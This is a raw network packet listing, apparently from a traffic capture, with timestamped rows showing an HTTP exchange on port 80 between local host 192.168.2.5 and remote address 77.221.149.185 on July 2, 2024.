Jul 2, 2024 22:52:26.636590958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636595011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636600971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636610985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636614084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636620045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636629105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636637926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636645079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636661053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636691093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636701107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636709929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636720896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636729002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636729002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636739016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636745930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636751890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636761904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636770010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636780024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636781931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636785030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636801004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636806011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636823893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636842012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636857033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636867046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636876106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636885881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636885881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636898041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636909008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636913061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636945009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637064934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637105942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637116909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637141943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637177944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637187958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637197018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637207985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637211084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637233973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637315989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637326002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637335062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637340069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637348890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637350082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637360096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637370110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637372971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637378931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637387991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637398958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637407064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637419939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637576103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637588024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637598038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637609005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637612104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637618065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637629986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637634039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637640953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637650013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637669086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637682915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637727022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637734890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637743950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637753963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637762070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637762070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637772083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637783051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637789965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637790918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637800932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637810946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637814999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637820005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.637830973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.637846947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.638492107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638503075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638511896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638521910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638530970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.638531923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638544083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.638550997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.638592005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.669970036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670095921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670106888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670116901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670130014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670176983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.670207024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.670279980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670296907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670306921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.670329094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.670352936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722009897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722042084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722053051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722080946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722191095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722208023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722218990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722230911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722234964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722261906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722429037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722440958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722450972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722460032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722470999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722474098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722502947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722518921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722822905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722834110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722846031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722856045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722867012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722872972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722877979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722888947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722893953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722898960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722908974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.722920895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.722938061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723232031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723277092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723285913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723298073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723339081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723444939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723454952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723464966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723475933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723490000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723504066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723670006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723681927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723692894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723733902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723761082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723772049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723781109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723792076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723803043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723804951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723814964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723823071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723824978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723834038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.723850965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.723877907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724451065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724462032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724473953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724493027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724495888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724503040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724513054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724523067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724533081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724534035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724544048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724554062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724561930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724564075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724575043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724580050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724585056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724594116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724597931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724606037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724615097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.724636078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.724663973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725429058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725445032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725454092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725462914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725471020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725474119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725483894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725495100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725505114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725505114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725514889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725527048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725533962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725536108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725547075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725547075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725557089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725568056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725573063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725579023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725589037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.725589991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.725625038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726355076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726366043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726377010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726387024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726396084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726407051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726408005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726417065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726428986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726428986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726439953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726449966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726460934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726461887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726470947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726475954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726480961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726481915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.726499081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.726514101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727046013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727057934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727070093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727080107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727097034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727104902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727107048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727122068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727125883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727145910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727148056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727159023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727169037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727169037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727179050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727190018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727194071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727204084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727215052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727220058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727226019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.727252007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.727273941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.728037119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728049040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728059053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728070021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728079081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728090048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.728094101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.728118896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.728133917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.759809017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759820938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759829998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759862900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.759923935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759934902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759944916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759954929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.759960890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.759994984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811085939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811099052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811110020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811170101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811182022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811182976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811192989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811203957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811328888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811328888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811378956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811388969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811398029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811415911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811439037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811547995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811564922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811574936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811594009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811759949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811769009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811779022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811789036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.811791897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811832905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.811999083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812009096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812020063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812030077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812040091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812040091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812048912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812057018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812058926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812068939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812084913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812103033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812402964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812443972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812659025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812669039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812679052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812690020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812699080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812705040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812709093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812719107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812730074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812731028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812740088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812748909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812756062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812757969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812762976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812767982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812777042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812787056 CEST	80	49712	77.221.149.185	192.168.2.5
